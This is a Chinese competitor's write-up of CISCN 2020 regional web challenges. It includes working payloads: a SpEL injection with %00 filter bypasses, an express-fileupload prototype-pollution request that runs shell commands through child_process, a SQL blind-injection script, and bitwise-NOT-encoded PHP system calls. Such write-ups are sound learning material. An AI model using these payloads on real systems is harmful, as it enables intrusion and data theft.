[CISCN2020华东北赛区]分区赛web wp
分区赛一共6个web,做出了四个,在有解的五个题中rmb神仙拿了四个一血,唯一两个没拿到一血的一个是访问flag.php获得flag和出题人有点毛病出出来的0解傻逼脑洞题
web标号是到了7但是一共就六个题
day1
三个web题,难度不是很大,有一个有问题,但是rmb神仙三十分钟内秒了三个题然后挂机一天
web3
本意应该是md5弱类型和php替换绕过,但是完全没有控制flag.php的内容???我猜忘记打<?php了,访问flag.php直接获取flag,捡了个二血(所有出了的web中rmb神仙唯一没有一血的题)
web4
JAVA题,一开始输入正常的算术可以运算,但是啥都不提交的话会报错,本来我还在猜是不是js题,结果看到报错是Java题
SPEL注入,找了一下午的入门利用,总体思路就是加载类实现命令执行,最后发现RCE也很麻烦,好不容易找了个文件类读取flag
简单测试,网上抄的payload都没打通,慢慢看得到过滤了new exec String getClass T( 等各种各样构造对象或是执行命令的方法,开始翻Java文档
不能用new 和T( 基本上就无法取得对象,但是fuzz发现T%00(可以正常解析且绕过判断,但加载类需要使用的getClass被过滤,翻文档翻到SecureClassLoader这个类,他的加载类的函数是getSystemClassLoader,绕过了过滤。
读文件需要加载一个读文件类,一开始找的是java.io.File,找了半天找不到读函数?(也可能是我java零基础的缘故,文档中有提到java.nio.file.Files,跟进去看,发现有一个叫readAllLines的函数,大喜过望,然后这个函数的参数不是String而是一个PATH????
继续翻文档,翻到java.nio.file.FileSystems,有一个FileSystems.getDefault().getPath()接受字符串参数返回path对象,总算是成了。。。。
然后过滤还过滤了getDefault().这一块的某个东西,测了一下不是getDefault这个词,是这个调用形式,幸好这里也能用%00绕过,不然又要继续翻文档了
payload T%00(java.security.SecureClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T%00(java.security.SecureClassLoader).getSystemClassLoader().loadClass("java.nio.file.FileSystems").getDefault%00().getPath("/flag.txt"))
获取flag ciscn{Yt7NFM44ZkAHEGbuTz}
web7
这个题本来能拿三血的,呜呜呜,一言难尽
给了一个静态页面,抓包看到是express的后端,js题
一开始以为可能是静态目录配置失当的源码泄漏之类的,不对
扫目录无果,上超级字典扫目录无果,一度怀疑是不是一个脑洞题
就一个锤子用没有的static,里面放两个css样式
最后看响应头里面服务器是Nginx,搜了一下有一个解析漏洞导致目录穿越,可以看到web服务全部文件
index.js里面没什么东西,用了个express,声明两个路由,一个返回index的那个静态页面,一个返回flag.ejs,但是flag.ejs里面就一句flag在/flag.txt,没有其他可利用逻辑,比较让人在意的就是这个express-fileupload,一般来说js经常打第三方库的漏洞吧
直接百度一下你就知道,看到这个第三方库的CVE,跟进跟进,一路走下来看到这个链接
https://blog.p6.is/Real-World-JS-1/
express-fileupload刚好在设置parseNested: true时有原型链污染漏洞,在渲染ejs时如果我们五人outputFunctionName就会存在命令执行,而这里也的确是返回ejs文件,很完美的漏洞环境,payload如下
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
header.......
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 203
----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/flag');x
----------1566035451--
一开始想直接ls之类的,发现没有回显,链接给的弹shell内网环境也弹不出来,最后把flag复制到了静态目录下面,访问静态目录获得flag(不过已经有目录穿越了复制到web根目录下哪都随便咯)
day2
时间比第一天少了太多,被web2浪费了太多时间剩下的题就草草看了看
web2
SQL注入,简单测试过滤了select,分号,单双引号,等于号,空格,and,or,table之类的字段
比较致命的是对引号,select和分号的过滤,数据基本上都查不出来了,表名列名全部无缘,过滤分号没了堆叠注入,select也没法用堆叠注入用了
猜测查询语句是SELECT * FROM users WHERE username='' AND password=''
后来队友扫目录看到hint.txt也的确是这个样子,在username处输入admin\把引号转义掉,password处内容可控,注释符注释掉最后的引号,用万能密码登录成功后显示的图片变为success.jpg,可以看出来是一个盲注
使用如下payloadusername=admin\&password=||/**//**/username/**/regexp/**/0x61/**/#
利用正则注入,完成对username和password的获取,脚本如下
import requests
url = "http://172.20.8.102/sql.php"
result = []
set = [76, 81, 84, 94, 108, 113, 116]
# for k in range(1, 128):
for k in set:
payload = "||/**/password/**/regexp/**/binary/**/0x{}54514c74716c54514c74716c/**/limit/**/0,1#".format(str(hex(k))[2:])
# print(payload)
data = {"username": "admin\\", "password": payload}
res = requests.post(url=url, data=data)
# print(res.text)
if "success.jpg" in res.text:
print(payload)
# result.append(k)
break
# print(result)
一开始没区分大小写。。。账号密码注出来了登录能成功,但是只有success.jpg没其他东西,一度自闭。
后来加了个binary区分大小写,注入出来大小写正确的账号密码g2mtu TqLtqlTqLtql,登录给一个文件名c2ZtdHFs.php,访问,给一个过滤了一点点东西的命令执行,过滤了异或没过滤取反。是第五空间一个类似的题,直接取反执行命令
https://dy.163.com/article/FI0OKSUT0511CJ6O.html
本来想file_get_contents读flag,发现读不出来,扫目录也不行,感觉哪里不对,执行了一个phpinfo看见了disable_function和open_basedir,超级过滤,本来以为时间不够了出不了了,结果队友说没有过滤system,直接system无视open_basedir获得flag
payload:c2ZtdHFs.php?gzmtu=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B)
web5
也是一个SQL注入,因为web2的大小写问题坑了我好久,没来得及看,呜呜呜,修也是随便修的
web6
点名批评的垃圾题目
首先怀疑ciscn是怎么选题的,其次怀疑出题人是怎么想的,进来就给了一句no inner user就啥都没了???(虽然我这个题就看了十几分钟,不过好像有很多看这个题的师傅被害死了)
最后登录服务器修的时候才知道这个题真的不是什么正常东西
超级字典扫目录也扫不出这个ssrf.php,然后感觉是用ssrf来注入index什么的?最后需要ssrf先访问index.php给自己的session加一个admin属性,再用这个去属性在注入出来的PHP文件里面获取flag,这道题这个ssrf.php就已经阻止了所有人做题了,这不是个究极脑洞是什么,师傅们的超级字典都扫不出来怎么回事。其次,ssrf的正则匹配给写错了,本意是过滤file,http之类的协议,结果写崩了什么都没过滤,最后登录上去修的时候看到源码直接file协议读flag,绝了绝了绝了绝了绝了
并且出题人的权限控制还很玄幻,www目录下的文件全都是755 root,怎么修?最后是把原来的文件删了重新放一个新的上去